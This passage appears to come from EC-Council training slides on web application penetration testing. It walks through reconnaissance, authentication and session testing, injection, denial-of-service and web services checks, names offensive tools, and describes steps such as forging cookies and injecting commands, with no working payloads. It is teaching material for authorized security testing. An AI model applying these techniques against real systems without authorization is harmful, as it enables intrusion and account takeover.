- **To identify web applications: probe for URL's, do dictionary-style searching (intelligent guessing) and perform vulnerability scanning using tools such as Nmap (Port Scanner) and Nessus**
- **Implement techniques such as DNS Zone transfers, DNS inverse queries, Web-based DNS searches, querying search engines (googling)**
Information Gathering

- **Analysis of error codes**
- **Test for recognized file types/extensions/directories**
- **Examine source of available pages**
- **TCP/ICMP and service fingerprinting**

- **Software versions, details of databases, bugs, and technological components**
- **Web application environment**
- **Provide clues as to the underlying application environment**
- **Web application services and associated ports**

- **Analyze error codes by requesting invalid pages and utilize alternate request methods (POST/PUT/Other) in order to collect confidential information from the server**

- **Examine the source code from the accessible pages of the application front-end**

- **Test for recognized file types/extensions/directories by requesting common file extensions/directories such as .ASP, .HTM, .PHP, .EXE and watch for any unusual output or error codes**

- **Perform TCP/ICMP and service fingerprinting using traditional fingerprinting tools such as Nmap and Queso, or the more recent application fingerprinting tools Amap and WebServerFP**
Configuration Management Testing

1. Identification of ports associated to SSL/TLS wrapped services using Nmap and Nessus
2. Performing network scanning and analyzing web server banners
3. Testing the application configuration management using CGI scanners and reviewing the contents of the web server, application server, comments, configuration, and logs
4. Using vulnerability scanners, spidering, and mirroring tools, search engines, queries, or manual inspection to test for file extensions handling
5. Reviewing source code, enumerating application pages and functionality
6. Performing directory and file enumeration, reviewing server and application documentation, etc., to test for infrastructure and application admin interfaces
7. Reviewing OPTIONS HTTP method using Netcat or Telnet
8. Testing for file extensions handling
9. Testing for HTTP methods and XST
10. Testing for infrastructure and application admin interfaces
11. Verifying the presence of old, backup, and unreferenced files
12. Testing for legacy and application admin interfaces
13. Credentials of legitimate users
14. Admin interfaces can be found to gain access to admin functionality

Disclosure of confidential information
Source code of the application
Information in the source code, log files, and default error codes
Confidential information about access credentials
Source code, installation paths, passwords for applications and databases
Authentication Testing

- **Test for Vulnerable** Remember password and pwd reset
  - Test for logout and browser cache management
  - Test for CAPTCHA
  - Test for multiple factors authentication
  - Test for race conditions

- **Passwords, authentication weakness**
- **Authentication vulnerabilities**
- **Authentication vulnerabilities**
- **Multiple factors authentication vulnerabilities**
- **Race conditions**

- **Try to reset passwords** by guessing, social engineering or cracking secret questions, if used. Check if "remember my password" mechanism is implemented by checking the HTML code of the login page.

- **Check if it is possible to "reuse" a session after logout.** Also check if the application automatically logs out a user when that user has been idle for a certain amount of time, and that no sensitive data remains stored in the browser cache.

- **Identify all parameters that are sent in addition to the decoded CAPTCHA value from the client to the server and try to send an old decoded CAPTCHA value with an old CAPTCHA ID of an old session ID.**

- **Check if users hold a hardware device of some kind in addition to the password.** Check if hardware device communicates directly and independently with the authentication infrastructure using an additional communication channel.

- **Attempt to force a race condition,** make multiple simultaneous requests while observing the outcome for unexpected behavior. Perform code review.
Collect sufficient number of cookie samples, analyze the cookie generation algorithm and **forge a valid cookie** in order to perform the attack.

Test for cookie attributes using intercepting proxies such as **WebScarab**, **Burp proxy**, **Paros Proxy** or traffic intercepting browser plug-in’s such as **“TamperIE”** (for IE), and **“Tamper Data”** (for Firefox).

To test for session fixation, **make a request to the site** to be tested and analyze vulnerabilities using the **WebScarab** tool.

Test for exposed session variables by inspecting encryption & reuse of session token, proxies & caching, GET & POST, and transport vulnerabilities.

Examine the **URLs in the restricted area** to test for CSRF.

- **Collect sufficient number of cookie samples**, analyze the cookie generation algorithm and **forge a valid cookie** in order to perform the attack.
- Test for cookie attributes using intercepting proxies such as **WebScarab**, **Burp proxy**, **Paros Proxy** or traffic intercepting browser plug-in’s such as **“TamperIE”** (for IE), and **“Tamper Data”** (for Firefox).
- **To test for session fixation**, **make a request to the site** to be tested and analyze vulnerabilities using the **WebScarab** tool.
- Test for exposed session variables by inspecting encryption & reuse of session token, proxies & caching, GET & POST, and transport vulnerabilities.
- Examine the **URLs in the restricted area** to test for CSRF.
Authorization Testing

- Test for path traversal
  - Can gain access to reserved information

- Test for bypassing authorization schema
  - Can gain illegal access to reserved functions/resources

- Test for privilege escalation
  - Access to resources/functionality allowing privilege escalation attack

- Test for path traversal by performing input vector enumeration and analyzing the input validation functions present in the web application
- Test for bypassing authorization schema by examining the admin functionalities, to gain access to the resources assigned to a different role
- Test for role/privilege manipulation
Data Validation Testing

- Detect and analyze input vectors for potential vulnerabilities, analyze the vulnerability report and attempt to exploit it. Use tools such as OWASP CAL9000, WebScarab, XSS-Proxy, ratproxy, and Burp Proxy.
- Analyze HTML code, test for Stored XSS, leverage Stored XSS, verify if the file upload allows setting arbitrary MIME types using tools such as OWASP CAL9000, Hackertor, BeEF, XSS-Proxy, Backframe, WebScarab, Burp, and XSS Assistant.
- Perform source code analysis to identify JavaScript coding errors.
- Analyze SWF files using tools such as SWFIntruder, Decompiler, Compiler, Disassembler, Swfmill, and Debugger Version of Flash Plugin/Player.
- Perform Standard SQL Injection Testing, Union Query SQL Injection Testing, Blind SQL Injection Testing, and Stored Procedure Injection using tools such as OWASP SQLiX, sqlninja, SqlDumper, sqlbf tools, SQL Power Injector, etc.
- Use a trial and error approach by inserting ‘‘, ‘‘, ‘&’, ‘*’ and the other characters in order to check the application for errors. Use the tool Softerra LDAP Browser.

- Test for reflected cross-site scripting
- Test for stored cross-site scripting
- Test for DOM based cross-site scripting
- Test for cross-site flashing
- Perform SQL injection testing
- Perform LDAP injection testing
- Sensitive information about users and hosts

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Data Validation Testing

- Discover vulnerabilities of an ORM tool and test web applications that use ORM. Use tools such as Hibernate, NHibernate, and Ruby On Rails.
- Try to insert XML metacharacters.
- Find if the web server actually supports SSI directives using tools such as Web Proxy Burp Suite, Paros, WebScarab, String searcher: grep.
- Inject XPath code and interfere with the query result.
- Identify vulnerable parameters. Understand the data flow and deployment structure of the client, and perform IMAP/SMTP command injection.
Data Validation Testing

- **Inject code (a malicious URL)** and perform source code analysis to discover code injection vulnerabilities
- **Perform manual code analysis** and craft malicious HTTP requests using tools to test for OS command injection attacks
- **Perform manual and automated code analysis** using tools such as OllyDbg to detect buffer overflow condition
- **Upload a file that exploits a component in the local user workstation**, when viewed or downloaded by the user, perform XSS, and SQL injection attack
- **Identify all user controlled input** that influences one or more headers in the response, and check whether he or she can successfully inject a CR+LF sequence in it
Denial of Service Testing

1. **Test for SQL wildcard attacks**
   - Application information
   - Craft a query which will not return a result and includes several wildcards. Test manually or employ a fuzzer to automate the process.

2. **Test for locking customer accounts**
   - Login account information
   - Test that an account does indeed lock after a certain number of failed logins. Find places where the application discloses the difference between valid and invalid logins.

3. **Test for buffer overflows**
   - Buffer overflow points
   - Perform a manual source code analysis and submit a range of inputs with varying lengths to the application.

4. **Test for user specified object allocation**
   - Maximum number of objects that application can handle
   - Find where the numbers submitted as a name/value pair might be used by the application code and attempt to set the value to an extremely large numeric value, then see if the server continues to respond.
Denial of Service Testing

- Test for user input as a loop counter
- Logical errors in an application
- Write user provided data to disk
- Local disks exhaustion
- Test for proper release of resources
- Programming flaws
- Test for storing too much data in session
- Session management errors

- Enter an extremely large number in input field that is used by application as a loop counter
- Use a script to automatically submit an extremely long value to the server in the request that is being logged
- Identify and send a large number of requests that perform database operations and observe any slowdown or new error messages
- Create a script to automate the creation of many new sessions with the server and run the request that is suspected of caching the data within the session for each one
Web Services Testing

- To gather WS information use tools such as Net Square wsPawn, Soaplite, SOAPClient4XG, CURL, Perl, etc. and online tools such as Seekda, UDDI Browser, WSIndex, and Xmethode

- Use tools such as WSDigger, WebScarab, and Foundstone to automate web services security testing.

- Pass malformed SOAP messages to XML parser or attach a very large string to the message. Use WSDigger to perform automated XML structure testing.

- Use web application vulnerability scanners such as WebScarab to test XML content-level vulnerabilities.

- Pass malicious content on the HTTP GET strings that invoke XML applications.

- Craft an XML document (SOAP message) to send to a web service that contains malware as an attachment to check if XML document has SOAP attachment vulnerability.

- Attempt to resend a sniffed XML message using Wireshark and WebScarab.

- Information about SQL, XPath, buffer overflow and command injection vulnerabilities.

- HTTP GET/REST attack vectors.

- Information about MITM vulnerability.

- SOAP message information.
Enumerate the AJAX call endpoints for the asynchronous calls using tools such as **Sprajax**

Observe **HTML and JavaScript files to find URLs** of additional application surface exposure

Use **proxies and sniffers** to observe traffic generated by user-viewable pages and the background asynchronous traffic to the AJAX endpoints in order to determine the format and destination of the requests.
Organizations today rely heavily on web applications and Web 2.0 technologies to support key business processes and improve performance.

With increasing dependence, web applications and web services are increasingly being targeted by various attacks that result in huge revenue loss for the organizations.

Some of the major web application vulnerabilities include injection flaws, cross-site scripting (XSS), SQL injection, security misconfiguration, broken session management, etc.

Input validation flaws are a major concern as attackers can exploit these flaws to perform or create a base for most of the web application attacks, including cross-site scripting, buffer overflow, injection attacks, etc.

It is also observed that most of the vulnerabilities result because of misconfiguration and not following standard security practices.

Common countermeasures for web application security include secure application development, input validation, creating and following security best practices, using WAF Firewall/IDS and performing regular auditing of network using web application security tools.
Application security is a growing concern for enterprises. Achieving an industry standard for the classification of these associated vulnerabilities will help customers better understand the risks inside their organization.

- Caleb Sima,
CTO and Co-Founder,
SPI Dynamics, Inc.